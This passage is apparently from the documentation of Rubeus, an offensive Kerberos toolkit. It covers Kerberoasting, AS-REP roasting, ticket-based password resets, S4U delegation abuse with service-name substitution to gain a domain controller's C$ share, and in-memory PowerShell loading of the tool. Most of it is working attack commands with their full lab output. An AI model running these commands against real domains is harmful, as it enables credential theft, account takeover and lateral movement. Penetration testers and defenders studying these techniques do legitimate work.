[*] Action: Kerberoasting

[*] Target Domain      : dev.testlab.local

[*] SamAccountName     : jason
[*] DistinguishedName  : CN=jason,CN=Users,DC=dev,DC=testlab,DC=local
[*] ServicePrincipalName : test/test
[*] Hash                : $krb5tgs$23$*$dev.testlab.local$test/test@dev.testlab.local*$969339A82...(snip)...
```

Kerberoasting using an existing TGT:

```
C:\Rubeus>Rubeus.exe kerberoast /ticket:doIFujCCBbagAwIBBaEDAgEWoo...(snip)... /spn:"asdf/asdfasdf" /dc:primary

-----
(____ \    | |
_____) )_  | |__ -----
| __ /| | | | _ \| ___ | | | /____)
| | \ \ | | | | ) ____| | | |___ |
|_|  | |____/|____/|_____)____/(____/

v1.3.5

[*] Action: Kerberoasting

[*] Using a TGT /ticket to request service tickets
```

```
[*] Target SPN      : asdf/asdfasdf
[*] Hash           : $krb5tgs$23$*USER$DOMAIN$asdf/asdfasdf*$4EFF99FDED690AB4616EB...(snip)...
```

"Opsec" Kerberoasting, using the **tgtdeleg** trick, filtering out AES-enabled accounts:

```
C:\Rubeus>Rubeus.exe kerberoast /rc4opsec
```

```
-----
(____ \      | |
_____) )_  _| |__ -----
|  _ /| | | | _ \| ___ | | | |/_ )
| | \ \ | | | | ) ) ___| | | |___ |
|_|  |_|____/|____/|_____)____/(____/
```

```
v1.3.6
```

```
[*] Action: Kerberoasting
```

```
[*] Using 'tgtdeleg' to request a TGT for the current user
```

```
[*] Searching the current domain for Kerberoastable users
```

```
[*] Searching for accounts that only support RC4_HMAC, no AES
```

```
[*] Found 6 users to Kerberoast!
```

```
[*] SamAccountName      : harmj0y
```

```
[*] DistinguishedName   : CN=harmj0y,CN=Users,DC=testlab,DC=local
```

```
[*] ServicePrincipalName : asdf/asdfasdf
```

```
[*] Supported ETypes     : RC4_HMAC_DEFAULT
```

```
[*] Hash                 : $krb5tgs$23$harmj0y$testlab.local$asdf/asdfasdf*$6B4AD4B61D37D54...(snip)...
```

## asreproast

The **asreproast** action replaces the [ASREPROast](#) project which executed similar actions with the (larger sized) [BouncyCastle](#) library. If a domain user does not have Kerberos preauthentication enabled, an AS-REP can be successfully requested for the user, and a component of the structure can be cracked offline a la kerberoasting. For more technical information, [see this post](#).

Just as with the [kerberoast](#) command, if no other arguments are supplied, all user accounts not requiring with Kerberos preauth not required are roasted. The `/user:X` argument roasts just the specified user, and the `/ou:X` argument roasts just users in the specific OU. The `/domain` and `/dc` arguments are optional, pulling system defaults as other actions do.

The `/outfile:FILE` argument outputs roasted hashes to the specified file, one per line.

Also, if you wanted to use alternate domain credentials for kerberoasting, that can be specified with `/creduser:DOMAIN.FQDN\USER /credpassword:PASSWORD`.

The output `/format:X` defaults to John the Ripper ([Jumbo version](#)). `/format:hashcat` is also an option for the new hashcat mode 18200.

If the `/ldaps` flag is used, any LDAP queries will go over TLS (port 636).

AS-REP roasting all users in the current domain:

```
C:\Rubeus>Rubeus.exe asreproast

-----
(____ \    | |
-----) )_  _| |__ ----- - - ___
|  _ /| | | | _ \| ___ | | | /___)
| | \ \ | | | | ) ___| | | |___ |
|_|  | |___/|___/|___)___/(___/

v1.3.4

[*] Action: AS-REP roasting

[*] Target Domain      : testlab.local

[*] SamAccountName    : dfm.a
[*] DistinguishedName : CN=dfm.a,CN=Users,DC=testlab,DC=local
[*] Using domain controller: testlab.local (192.168.52.100)
[*] Building AS-REQ (w/o preauth) for: 'testlab.local\dfm.a'
[*] Connecting to 192.168.52.100:88
[*] Sent 163 bytes
[*] Received 1537 bytes
[+] AS-REQ w/o preauth successful!
[*] AS-REP hash:

    $krb5asrep$dfm.a@testlab.local:D4A4BC281B200EE35CBF4A4537792D07$D655...(snip)...

[*] SamAccountName    : TestOU3user
[*] DistinguishedName : CN=TestOU3user,OU=TestOU3,OU=TestOU2,OU=TestOU1,DC=testlab,DC=local
[*] Using domain controller: testlab.local (192.168.52.100)
[*] Building AS-REQ (w/o preauth) for: 'testlab.local\TestOU3user'
[*] Connecting to 192.168.52.100:88
[*] Sent 169 bytes
[*] Received 1437 bytes
[+] AS-REQ w/o preauth successful!
[*] AS-REP hash:
```

```
$krb5asrep$TestOU3user@testlab.local:DD6DF16B7E65223679CD703837C94FB...(snip)..
```

```
[*] SamAccountName      : harmj0y2
[*] DistinguishedName   : CN=harmj0y2,CN=Users,DC=testlab,DC=local
[*] Using domain controller: testlab.local (192.168.52.100)
[*] Building AS-REQ (w/o preauth) for: 'testlab.local\harmj0y2'
[*] Connecting to 192.168.52.100:88
[*] Sent 166 bytes
[*] Received 1407 bytes
[+] AS-REQ w/o preauth successful!
[*] AS-REP hash:
```

```
$krb5asrep$harmj0y2@testlab.local:7D2E379A076BB804AF275ED51B86BF85$8...(snip)..
```

AS-REP roasting all users in a specific OU, saving the hashes to an output file in Hashcat format:

```
C:\Rubeus>Rubeus.exe asreproast /ou:OU=TestOU3,OU=TestOU2,OU=TestOU1,DC=testlab,DC=local /format:hashcat /outf:
```

```
-----
(____ \    | |
  ____ )_  _| |__  _____
|  __ /| | | | _ \| ___ | | | /____)
| | \ \ | | | |_) ) ____| | | |____ |
|_|  | |____/|____/|____)____/____/
```

v1.3.4

```
[*] Action: AS-REP roasting
```

```
[*] Target OU      : OU=TestOU3,OU=TestOU2,OU=TestOU1,DC=testlab,DC=local
[*] Target Domain  : testlab.local
```

```
[*] SamAccountName      : TestOU3user
[*] DistinguishedName   : CN=TestOU3user,OU=TestOU3,OU=TestOU2,OU=TestOU1,DC=testlab,DC=local
[*] Using domain controller: testlab.local (192.168.52.100)
[*] Building AS-REQ (w/o preauth) for: 'testlab.local\TestOU3user'
[*] Connecting to 192.168.52.100:88
[*] Sent 169 bytes
[*] Received 1437 bytes
[+] AS-REQ w/o preauth successful!
[*] Hash written to C:\Temp\hashes.txt
```

```
[*] Roasted hashes written to : C:\Temp\hashes.txt
```

### AS-REP roasting a specific user:

```
C:\Rubeus>Rubeus.exe asreproast /user:TestOU3user

-----
(____ \    | |
_____) )_  _| |__ ----- - - ___
| __ /| | | | _ \| ___ | | | /___)
| | \ \ | | | | ) ____| | | |___ |
|_|  | |____/|____/|____)____/(___/

v1.3.4

[*] Action: AS-REP roasting

[*] Target User      : TestOU3user
[*] Target Domain   : testlab.local

[*] SamAccountName  : TestOU3user
[*] DistinguishedName : CN=TestOU3user,OU=TestOU3,OU=TestOU2,OU=TestOU1,DC=testlab,DC=local
[*] Using domain controller: testlab.local (192.168.52.100)
[*] Building AS-REQ (w/o preauth) for: 'testlab.local\TestOU3user'
[*] Connecting to 192.168.52.100:88
[*] Sent 169 bytes
[*] Received 1437 bytes
[+] AS-REQ w/o preauth successful!
[*] AS-REP hash:

$krb5asrep$TestOU3user@testlab.local:858B6F645D9F9B57210292E5711E0...(snip)...
```

### AS-REP roasting all users in a foreign *trusting* domain:

```
C:\Rubeus>Rubeus.exe asreproast /domain:dev.testlab.local

-----
(____ \    | |
_____) )_  _| |__ ----- - - ___
| __ /| | | | _ \| ___ | | | /___)
| | \ \ | | | | ) ____| | | |___ |
|_|  | |____/|____/|____)____/(___/

v1.3.4

[*] Action: AS-REP roasting
```

```
[*] Target Domain      : dev.testlab.local

[*] SamAccountName    : devuser3
[*] DistinguishedName : CN=devuser3,CN=Users,DC=dev,DC=testlab,DC=local
[*] Using domain controller: dev.testlab.local (192.168.52.105)
[*] Building AS-REQ (w/o preauth) for: 'dev.testlab.local\devuser3'
[*] Connecting to 192.168.52.105:88
[*] Sent 175 bytes
[*] Received 1448 bytes
[+] AS-REQ w/o preauth successful!
[*] AS-REP hash:

$krb5asrep$devuser3@dev.testlab.local:650B881E44B92FB6A378DD21E8B020...(snip)...
```

### AS-REP roasting users in a foreign non-trusting domain using alternate credentials:

```
C:\Rubeus>Rubeus.exe asreproast /domain:external.local /creduser:"EXTERNAL.local\administrator" /credpassword:'

-----
(____ \    | |
  ____ )_  _| |__  ____  _  ____
|  __ /| | | | _ \| __ | | | /____)
| | \ \ | | | | ) ____| | | ____ |
|_|  | |____/|____/|____)____/(____/

v1.3.4

[*] Action: AS-REP roasting

[*] Target Domain      : external.local

[*] Using alternate creds : EXTERNAL.local\administrator

[*] SamAccountName    : david
[*] DistinguishedName  : CN=david,CN=Users,DC=external,DC=local
[*] Using domain controller: external.local (192.168.52.95)
[*] Building AS-REQ (w/o preauth) for: 'external.local\david'
[*] Connecting to 192.168.52.95:88
[*] Sent 165 bytes
[*] Received 1376 bytes
[+] AS-REQ w/o preauth successful!
[*] AS-REP hash:

$krb5asrep$david@external.local:9F5A33465C53056F17FEFDF09B7D36DD$47DBAC3...(snip)...
```

## Miscellaneous

Breakdown of the miscellaneous commands:

Command	Description
<a href="#">createnetonly</a>	Create a process of logon type 9
<a href="#">changepw</a>	Perform the Aorato Kerberos password reset
<a href="#">hash</a>	Hash a plaintext password to Kerberos encryption keys
<a href="#">tgssub</a>	Substitute in alternate service names into a service ticket
<a href="#">currentluid</a>	Display the current user's LUID
<a href="#">logonsession</a>	Display logon session information
<a href="#">asrep2kirbi</a>	Convert an AS-REP and a client key to a Kirbi (KERB_CRED)
<a href="#">kirbi</a>	Manipulate Kirbi's (KERB_CRED)

### createnetonly

The **createnetonly** action will use the `CreateProcessWithLogonW()` API to create a new hidden (unless `/show` is specified) process with a `SECURITY_LOGON_TYPE` of 9 (NewCredentials), the equivalent of `runas /netonly`. The process ID and LUID (logon session ID) are returned. This process can then be used to apply specific Kerberos tickets to with the `ptt /luid:0xA.` parameter, assuming elevation. This prevents the erasure of existing TGTs for the current logon session.

Create a hidden `upnpcont.exe` process:

```
C:\Rubeus>Rubeus.exe createnetonly /program:"C:\Windows\System32\upnpcont.exe"

-----
(____ \    | |
-----) )_  | |__ -----
| __ /| | | | _ \| ___ | | | |/___)
| | \ \ | | | | ) ___| | | |___ |
|_|  | |_____/|_____/|_____)____/(___/

v1.3.3

[*] Action: Create Process (/netonly)

[*] Showing process : False
[+] Process          : 'C:\Windows\System32\upnpcont.exe' successfully created with LOGON_TYPE = 9
```

```
[+] ProcessID      : 9936
[+] LUID           : 0x4a0717f
```

Create a visible command prompt:

```
C:\Rubeus>Rubeus.exe createnetonly /program:"C:\Windows\System32\cmd.exe" /show
```

```
-----
(____ \    | |
_____) )_  | |__ -----
| __ /| | | | _ \| ___ | | | /___)
| | \ \ | | | | ) ___| | | |___ |
|_|  | |___/|___/|____)___/(___/
```

v1.3.3

```
[*] Action: Create Process (/netonly)
```

```
[*] Showing process : True
```

```
[+] Process      : 'C:\Windows\System32\cmd.exe' successfully created with LOGON_TYPE = 9
```

```
[+] ProcessID    : 5352
```

```
[+] LUID         : 0x4a091c0
```

Create a visible command prompt and import a ticket:

```
C:\Rubeus>Rubeus.exe createnetonly /program:"C:\Windows\System32\cmd.exe" /show /ticket:ticket.kirbi
```

```
-----
(____ \    | |
_____) )_  | |__ -----
| __ /| | | | _ \| ___ | | | /___)
| | \ \ | | | | ) ___| | | |___ |
|_|  | |___/|___/|____)___/(___/
```

v1.3.3

```
[*] Action: Create Process (/netonly)
```

```
[*] Showing process : True
```

```
[+] Process      : 'C:\Windows\System32\cmd.exe' successfully created with LOGON_TYPE = 9
```

```
[+] ProcessID    : 5352
```

```
[+] LUID         : 0x4a091c0
```

```
[+] Ticket successfully imported!
```

## changepw

The **changepw** action will take a user's TGT .kirbi blob and execute a MS kpasswd password change with the specified `/new:PASSWORD` value. If a `/dc` is not specified, the computer's current domain controller is extracted and used as the destination for the password reset traffic. This is the Aorato Kerberos password reset disclosed in 2014, and is equivalent to Kekeo's **misc::changepw** function.

The `/targetuser` argument can be used to change the password of other users, given the user whose TGT it is has enough privileges. The format required is **domain.com\user**.

**Note that either a users TGT or a service ticket for kadmin/changepw can be used to change the password**

You can retrieve a TGT blob using the [asktgt](#) command.

```
C:\Rubeus>Rubeus.exe changepw /ticket:doIFFjCCBRKgA...(snip)...== /new>Password123!
```

```
-----
(----- \      | |
-----) )_  _| |__ ----- - - ---
|  _ /| | | | _ \| ___ | | | |/_---)
| | \ \ | | | | )  ___| | | |___ |
|_|  | |___/|___/|____)____/(___/
```

v1.3.3

```
[*] Action: Reset User Password (AoratoPw)
```

```
[*] Changing password for user: harmj0y@TESTLAB.LOCAL
```

```
[*] New password value: Password123!
```

```
[*] Building AP-REQ for the MS Kpassword request
```

```
[*] Building Authenticator with encryption key type: rc4_hmac
```

```
[*] base64(session subkey): nX2F0Q3RsGxoI8uqIg1zlg==
```

```
[*] Building the KRV-PRIV structure
```

```
[*] Connecting to 192.168.52.100:464
```

```
[*] Sent 1347 bytes
```

```
[*] Received 167 bytes
```

```
[+] Password change success!
```

Changing the password of another user ([dev.ccob@dev.rubeus.ghostpack.local](#)) with a service ticket for **kadmin/changepw** retrieved using a referral TGT for [harmj0y@rubeus.ghostpack.local](#):

```
C:\Rubeus>Rubeus.exe changepw /targetuser:dev.rubeus.ghostpack.local\dev.ccob /new:Pwn3dPassword123! /ticket:dc
```

```
-----
(----- \      | |
-----) )_  _| |__ ----- - - ---
```

```
|  _ _ /| | | | _ \| _ _ | | | |/_ _ )
| | \ \ | | | | ) _ _ | | | | _ _ |
|_| | | _ _ /| _ _ /| _ _ ) _ _ /(_ _ /
```

v2.0.0

[\*] Action: Reset User Password (AoratoPw)

[\*] Using domain controller: DevDC1.dev.rubeus.ghostpack.local (192.168.71.85)

[\*] Resetting password for target user: dev.rubeus.ghostpack.local\dev.ccob

[\*] New password value: Pwn3dPassword123!

[\*] Building AP-REQ for the MS Kpassword request

[\*] Building Authenticator with encryption key type: aes256\_cts\_hmac\_sha1

[\*] base64(session subkey): wCAQoKiWlCjeEjfmqo+aA7ZlLSXYWhv+LzlxkGVJSXU=

[\*] Building the KRV-PRIV structure

[+] Password change success!

## hash

The **hash** action will take a `/password:X` and optional `/user:USER` and/or `/domain:DOMAIN`. It will generate the rc4\_hmac (NTLM) representation of the password using @gentilkiwi's **kerberos:hash** (KERB\_ECRYPT HashPassword) approach. If user and domain names are specified, the aes128\_cts\_hmac\_sha1, aes256\_cts\_hmac\_sha1, and des\_cbc\_md5 hash forms are generated. The user and domain names are used as salts for the AES and DES implementations.

Calculating the rc4\_hmac of a password:

```
C:\Rubeus>Rubeus.exe hash /password:Password123!
```

```
----- -
(____ \   | |
  ____ ) )_ | | | _ _ _ _ _ _ _ _ _ _
|  _ _ /| | | | _ \| _ _ | | | |/_ _ )
| | \ \ | | | | ) _ _ | | | | _ _ |
|_| | | _ _ /| _ _ /| _ _ ) _ _ /(_ _ /
```

v1.4.0

[\*] Action: Calculate Password Hashes

[\*] Input password : Password123!

[\*] rc4\_hmac : 2B576ACBE6BCFDA7294D6BD18041B8FE

[!] /user:X and /domain:Y need to be supplied to calculate AES and DES hash types!

## Calculating all hash formats:

```
C:\Rubeus>Rubeus.exe hash /password:Password123! /user:harmj0y /domain:testlab.local
```

```
-----
(____ \    | |
-----) )_ _| |__ ----- - - ___
| _ _ /| | | | _ \| ___ | | | /____)
| | \ \ | | | | ) ) ____| | | |____ |
|_| | | |____/|____/|____)____/(____/
```

v1.4.0

[\*] Action: Calculate Password Hashes

```
[*] Input password      : Password123!
[*] Input username     : harmj0y
[*] Input domain       : testlab.local
[*] Salt               : TESTLAB.LOCALharmj0y
[*] rc4_hmac          : 2B576ACBE6BCFDA7294D6BD18041B8FE
[*] aes128_cts_hmac_sha1 : B0A79AB550536860123B427C14F2A531
[*] aes256_cts_hmac_sha1 : F7FEBF9779401B653911A56A79FF9E3A58F7F8990FDB3D9CA0E89227ABF13287
[*] des_cbc_md5       : 614589E66D6B3792
```

## tgssub

The **tgssub** action will take a service ticket base64 blob/file specification and substitute an alternate service name into the ticket. This is useful for S4U abuse and other scenarios.

The `/altservice:X` argument is required and can either be a standalone sname (ldap, cifs, etc.) or a full service principal name (cifs/computer.domain.com). The former will create a new sname with only the service given, useful for cases where only the hostname is required. The latter is useful in some S4U2self abuse scenarios with resource-based constrained delegation. See Elad Shamir's [post on the topic](#) for more information.

The `/srealm:Y` argument is optional and can be used to change the service realm within the ticket.

The `/ptt` flag will "pass-the-ticket" and apply the resulting Kerberos credential to the current logon session. The `/luid:0xA..` flag will apply the ticket to the specified logon session ID (elevation needed) instead of the current logon session.

Executing the S4U2self/S4U2proxy proces to abuse traditional constrained delegation, and replacing the sname in the final ticket. This is so you don't have to execute the S4U process for a second time:

```
C:\Rubeus>Rubeus.exe s4u /user:patsy /rc4:2B576ACBE6BCFDA7294D6BD18041B8FE /msdsspn:ldap/PRIMARY.testlab.local
```

```
----- -  
(----- \      | |  
-----) )_  _| |__ ----- - - ---  
|  _ /| | | | - \| ___ | | | |/_---)  
| | \ \ | | | |_) ) ----| | | |___ |  
|_|  |_|___/|___/|___)___/(___/
```

v1.4.2

[\*] Action: Ask TGT

[\*] Using rc4\_hmac hash: 2B576ACBE6BCFDA7294D6BD18041B8FE

[\*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)

[\*] Building AS-REQ (w/ preauth) for: 'testlab.local\patsy'

[+] TGT request successful!

[\*] base64(ticket.kirbi):

```
doIE+jCCBPagAwIBBaEDAgEWoo...(snip)...
```

[\*] Action: S4U

[\*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)

[\*] Building S4U2self request for: 'patsy@TESTLAB.LOCAL'

[\*] Sending S4U2self request

[+] S4U2self success!

[\*] Got a TGS for 'harmj0y@TESTLAB.LOCAL' to 'patsy@TESTLAB.LOCAL'

[\*] base64(ticket.kirbi):

```
doIFXjCCBVqgAwIBBaEDAgEWoo...(snip)...
```

[\*] Impersonating user 'harmj0y' to target SPN 'ldap/PRIMARY.testlab.local'

[\*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)

[\*] Building S4U2proxy request for service: 'ldap/PRIMARY.testlab.local'

[\*] Sending S4U2proxy request

[+] S4U2proxy success!

[\*] base64(ticket.kirbi) for SPN 'ldap/PRIMARY.testlab.local':

```
doIGPjCCBjqgAwIBBaEDAgEWoo...(snip)...
```

[\*] Action: Import Ticket

[+] Ticket successfully imported!

C:\Rubeus>dir \\primary.testlab.local\C\$

Access is denied.

C:\Rubeus>Rubeus.exe tgssub /ticket:doIGPjCCBjqgAwIBBaEDAgEWoo...(snip)... /altservice:cifs /ptt

```

-----
(____ \   | |
-----) )_  | |__ ----- - - ___
| __ /| | | | _ \| ___ | | | |/_ )
| | \ \ | | | | ) ) ___| | | |___ |
|_|  | |___/|___/|___)___/(___/

```

v1.4.2

[\*] Action: Service Ticket sname Substitution

[\*] Substituting in alternate service name: cifs

[\*] base64(ticket.kirbi):

doIGPjCCBjqgAwIBBaEDAgEWoo...(snip)...

[\*] Action: Describe Ticket

```

UserName       : harmj0y@TESTLAB.LOCAL
UserRealm      : TESTLAB.LOCAL
ServiceName    : cifs/PRIMARY.testlab.local
ServiceRealm   : TESTLAB.LOCAL
StartTime      : 3/1/2019 12:51:06 PM
EndTime        : 3/1/2019 5:51:06 PM
RenewTill      : 3/8/2019 12:51:06 PM
Flags          : name_canonicalize, ok_as_delegate, pre_authent, renewable, forwardable
KeyType        : aes128_cts_hmac_sha1
Base64(key)    : yxQVMhl0qn3P0wUUC4KnGQ==

```

[\*] Action: Import Ticket

[+] Ticket successfully imported!

```

C:\Rubeus>dir \\primary.testlab.local\C$
Volume in drive \\primary.testlab.local\C$ has no label.
Volume Serial Number is A48B-4D68

```

Directory of \\primary.testlab.local\C\$

```

07/05/2018 12:57 PM <DIR>         dumps
03/05/2017 04:36 PM <DIR>         inetpub
07/21/2018 07:41 PM             9 out.txt
08/22/2013 07:52 AM <DIR>         PerfLogs
04/15/2017 05:25 PM <DIR>         profiles
08/28/2018 11:51 AM <DIR>         Program Files

```

```

08/28/2018 11:51 AM <DIR> Program Files (x86)
10/09/2018 12:04 PM <DIR> Temp
08/23/2018 03:52 PM <DIR> Users
10/25/2018 01:15 PM <DIR> Windows
1 File(s) 9 bytes
9 Dir(s) 40,463,851,520 bytes free

```

```
C:\Rubeus>Rubeus.exe klist
```

```

-----
(____ \      | |
_____) )_  _| |__ -----
| __ /| | | | _ \| ___ | | | |/_ )
| | \ \ | | | | ) ___| | | |__ |
| |  | |____/|____/|_____)____/(____/

```

```
v1.4.2
```

```
[*] Action: List Kerberos Tickets (Current User)
```

```
[*] Current LUID : 0x6de14
```

```
[0] - 0x12 - aes256_cts_hmac_sha1
```

```
Start/End/MaxRenew: 3/1/2019 12:51:06 PM ; 3/1/2019 5:51:06 PM ; 3/8/2019 12:51:06 PM
```

```
Server Name : cifs/PRIMARY.testlab.local @ TESTLAB.LOCAL
```

```
Client Name : harmj0y @ TESTLAB.LOCAL
```

```
Flags : name_canonicalize, ok_as_delegate, pre_authent, renewable, forwardable (40a50000)
```

```
[1] - 0x12 - aes256_cts_hmac_sha1
```

```
Start/End/MaxRenew: 3/1/2019 12:51:06 PM ; 3/1/2019 5:51:06 PM ; 3/8/2019 12:51:06 PM
```

```
Server Name : ldap/PRIMARY.testlab.local @ TESTLAB.LOCAL
```

```
Client Name : harmj0y @ TESTLAB.LOCAL
```

```
Flags : name_canonicalize, ok_as_delegate, pre_authent, renewable, forwardable (40a50000)
```

Executing S4U2self to a machine using its machine account hash, substituting in the service names we want to abuse after:

```
C:\Rubeus>Rubeus.exe s4u /user:primary$ /rc4:46b910dbe4514bd144b44cb554c256db /impersonateuser:harmj0y
```

```

-----
(____ \      | |
_____) )_  _| |__ -----
| __ /| | | | _ \| ___ | | | |/_ )
| | \ \ | | | | ) ___| | | |__ |
| |  | |____/|____/|_____)____/(____/

```

|\_| |\_|\_\_\_\_/|\_\_\_\_/|\_\_\_\_\_)\_\_\_\_/(\_\_\_\_/

v1.4.2

[\*] Action: Ask TGT

[\*] Using rc4\_hmac hash: 46b910dbe4514bd144b44cb554c256db
[\*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[\*] Building AS-REQ (w/ preauth) for: 'testlab.local\primary\$'
[+] TGT request successful!
[\*] base64(ticket.kirbi):

doIFIDCCBRygAwIBBaEDAgEWoo...(snip)...

[\*] Action: S4U

[\*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[\*] Building S4U2self request for: 'primary\$@TESTLAB.LOCAL'
[\*] Sending S4U2self request
[+] S4U2self success!
[\*] Got a TGS for 'harmj0y@TESTLAB.LOCAL' to 'primary\$@TESTLAB.LOCAL'
[\*] base64(ticket.kirbi):

doIFgDCCBXygAwIBBaEDAgEWoo...(snip)...

C:\Rubeus>Rubeus.exe describe /ticket:doIFgDCCBXygAwIBBaEDAgEWoo...(snip)...

-----
(\_\_\_\_ \ | |
\_\_\_\_) )\_ | |\_\_ -----
| \_\_ /| | | | \_ \| \_\_\_ | | | /\_\_\_\_)
| | \ \ | | | | ) \_\_\_\_| | | |\_\_\_\_ |
|\_| |\_|\_\_\_\_/|\_\_\_\_/|\_\_\_\_\_)\_\_\_\_/(\_\_\_\_/

v1.4.2

[\*] Action: Describe Ticket

UserName : harmj0y@TESTLAB.LOCAL
UserRealm : TESTLAB.LOCAL
ServiceName : primary\$
ServiceRealm : TESTLAB.LOCAL
StartTime : 3/1/2019 12:43:56 PM
EndTime : 3/1/2019 5:43:56 PM

```
RenewTill      : 3/8/2019 12:43:56 PM
Flags          : name_canonicalize, ok_as_delegate, pre_authent, renewable
KeyType       : aes256_cts_hmac_sha1
Base64(key)   : X6LnSCb4FUGo4Wec2FnfgQRz0h8zfgIRZxENxcIoIpU=
```

[!] Service ticket uses encryption key type 'aes256\_cts\_hmac\_sha1', unable to extract hash and salt.

```
C:\Rubeus>dir \\primary.testlab.local\C$
Access is denied.
```

```
C:\Rubeus>Rubeus.exe purge
```

```
-----
(____ \    | |
_____) )_  | |__ -----
| __ /| | | | _ \| ___ | | | | /___)
| | \ \ | | | | ) ) ___| | | |___ |
|_|  | | ___ /| ___ /| ___ ) ___ / ___ /
```

v1.4.2

Luid: 0x0

```
[*] Action: Purge Tickets
[+] Tickets successfully purged!
```

```
C:\Rubeus>Rubeus.exe tgssub /ticket:doIFgDCCBXygAwIBBaEDAgEWoo...(snip)... /altservice:cifs/primary.testlab.local
```

```
-----
(____ \    | |
_____) )_  | |__ -----
| __ /| | | | _ \| ___ | | | | /___)
| | \ \ | | | | ) ) ___| | | |___ |
|_|  | | ___ /| ___ /| ___ ) ___ / ___ /
```

v1.4.2

```
[*] Action: Service Ticket sname Substitution

[*] Substituting in alternate service name: cifs/primary.testlab.local
[*] base64(ticket.kirbi):

doIFpjCCBaKgAwIBBaEDAgEWoo...(snip)...
```

```
[*] Action: Describe Ticket
```

```

UserName       : harmj0y@TESTLAB.LOCAL
UserRealm      : TESTLAB.LOCAL
ServiceName    : cifs/primary.testlab.local
ServiceRealm   : TESTLAB.LOCAL
StartTime      : 3/1/2019 12:43:56 PM
EndTime        : 3/1/2019 5:43:56 PM
RenewTill      : 3/8/2019 12:43:56 PM
Flags          : name_canonicalize, ok_as_delegate, pre_authent, renewable
KeyType        : aes256_cts_hmac_sha1
Base64(key)    : X6LnSCb4FUGo4Wec2FnfgQRz0h8zfgIRZxENxcIoIpU=

```

```

[*] Action: Import Ticket
[+] Ticket successfully imported!

```

```

C:\Rubeus>dir \\primary.testlab.local\C$
Volume in drive \\primary.testlab.local\C$ has no label.
Volume Serial Number is A48B-4D68

```

```

Directory of \\primary.testlab.local\C$

```

```

07/05/2018 12:57 PM <DIR>      dumps
03/05/2017 04:36 PM <DIR>      inetpub
08/22/2013 07:52 AM <DIR>      PerfLogs
04/15/2017 05:25 PM <DIR>      profiles
08/28/2018 11:51 AM <DIR>      Program Files
08/28/2018 11:51 AM <DIR>      Program Files (x86)
10/09/2018 12:04 PM <DIR>      Temp
08/23/2018 03:52 PM <DIR>      Users
10/25/2018 01:15 PM <DIR>      Windows
                1 File(s)          9 bytes
                9 Dir(s) 40,462,831,616 bytes free

```

## currentluid

The **currentluid** action will display the current user's logon ID (LUID).

```

C:\Rubeus>Rubeus.exe currentluid

```

```

-----
(____ \   | |
-----) _ | | _ _ _ _ _ _ _ _ _ _
| _ _ /| | | | _ \ | _ _ | | | /____)
| | \ \ | | | | ) _ _ _ | | | _ _ |
|_| | | _ _ _ / _ _ _ / _ _ _ ) _ _ / _ _ /

```

v1.5.0

[\*] Action: Display current LUID

[\*] Current LogonID (LUID) : 0x121078 (1183864)

## logonsession

The **logonsession** action will display information about the current context's logon session if not elevated, or all logonsessions if elevated.

```
C:\Rubeus>Rubeus.exe logonsession
```

```
-----
(____ \   | |
-----) )_  | |__ -----
| __ /| | | | _ \ | | | | /____)
| | \ \ | | | | |_) ) ____ | | | ____ |
|_| | |____/|____/|____)____/____/
```

v2.1.0

[\*] Action: Display current logon session information

```
LUID       : 0x28a8fd (2664701)
UserName   : harmj0y
LogonDomain : THESHIRE
SID        : S-1-5-21-937929760-3187473010-80948926-1104
AuthPackage : Kerberos
LogonType  : Interactive (2)
Session    : 1
LogonTime  : 6/9/2022 1:17:48 PM
LogonServer : DC
DnsDomainName : THESHIRE.LOCAL
Upn        : harmj0y@theshire.local
```

If elevated, the `/current` flag will display information for just the current logon session, and `/luid:X` will display information about the target specified logon session.

## asrep2kirbi

The **asrep2kirbi** action will convert an AS-REP and a client key to a Kirbi.

The client key can be supplied as a Base64 encoded blob or as a hex string.

## **kirbi**

The **kirbi** action is used to manipulate Kirbi's (KERB\_CRED's).

Currently it only supports modifying/inserting a session key using the **/sessionkey:SESSIONKEY** and **/sessiontype:DES|RC4|AES128|AES256** arguments, passing the Kirbi in using the **/kirbi:X** argument.

## **Compile Instructions**

We are not planning on releasing binaries for Rubeus, so you will have to compile yourself :)

Rubeus has been built against .NET 3.5 and is compatible with [Visual Studio 2019 Community Edition](#). Simply open up the project .sln, choose "Release", and build.

### **Targeting other .NET versions**

Rubeus' default build configuration is for .NET 3.5, which will fail on systems without that version installed. To target Rubeus for .NET 4 or 4.5, open the .sln solution, go to **Project -> Rubeus Properties** and change the "Target framework" to another version.

### **Sidenote: Building Rubeus as a Library**

To build Rubeus as a library, under **Project -> Rubeus Properties ->** change **Output type** to **Class Library**. Compile, and add the Rubeus.dll as a reference to whatever project you want. Rubeus functionality can then be invoked as in a number of ways:

```
// pass the Main method the arguments you want
Rubeus.Program.Main("dump /luid:3050142".Split());

// or invoke specific functionality manually
Rubeus.LSA.ListKerberosTicketDataAllUsers(new Rubeus.Interop.LUID());
```

You can then use [ILMerge](#) to merge the Rubeus.dll into your resulting project assembly for a single, self-contained file.

### **Sidenote: Running Rubeus Through PowerShell**

If you want to run Rubeus in-memory through a PowerShell wrapper, first compile the Rubeus and base64-encode the resulting assembly:

```
[Convert]::ToBase64String([IO.File]::ReadAllBytes("C:\Temp\Rubeus.exe")) | Out-File -Encoding ASCII C:\Temp\rul
```

Rubeus can then be loaded in a PowerShell script with the following (where "aa..." is replaced with the base64-encoded Rubeus assembly string):

```
$RubeusAssembly = [System.Reflection.Assembly]::Load([Convert]::FromBase64String("aa..."))
```

The Main() method and any arguments can then be invoked as follows:

```
[Rubeus.Program]::Main("dump /user:administrator".Split())
```

Or individual functions can be invoked:

```
$TicketBytes = [convert]::FromBase64String('BASE64_KERB_TICKET')  
# start mmc.exe as netonly, not-hidden  
$LogonID = [Rubeus.Helpers]::CreateProcessNetOnly("mmc.exe", $true)  
# apply the ticket to mmc's logon session  
[Rubeus.LSA]::ImportTicket($TicketBytes, $LogonID)
```

### Sidenote Sidenote: Running Rubeus Over PSRemoting

Due to the way PSRemoting handles output, we need to redirect stdout to a string and return that instead. Luckily, Rubeus has a function to help with that.

If you follow the instructions in [Sidenote: Running Rubeus Through PowerShell](#) to create a Rubeus.ps1, append something like the following to the script:

```
[Rubeus.Program]::MainString("triage")
```

You should then be able to run Rubeus over PSRemoting with something like the following:

```
$s = New-PSSession dc.theshire.local  
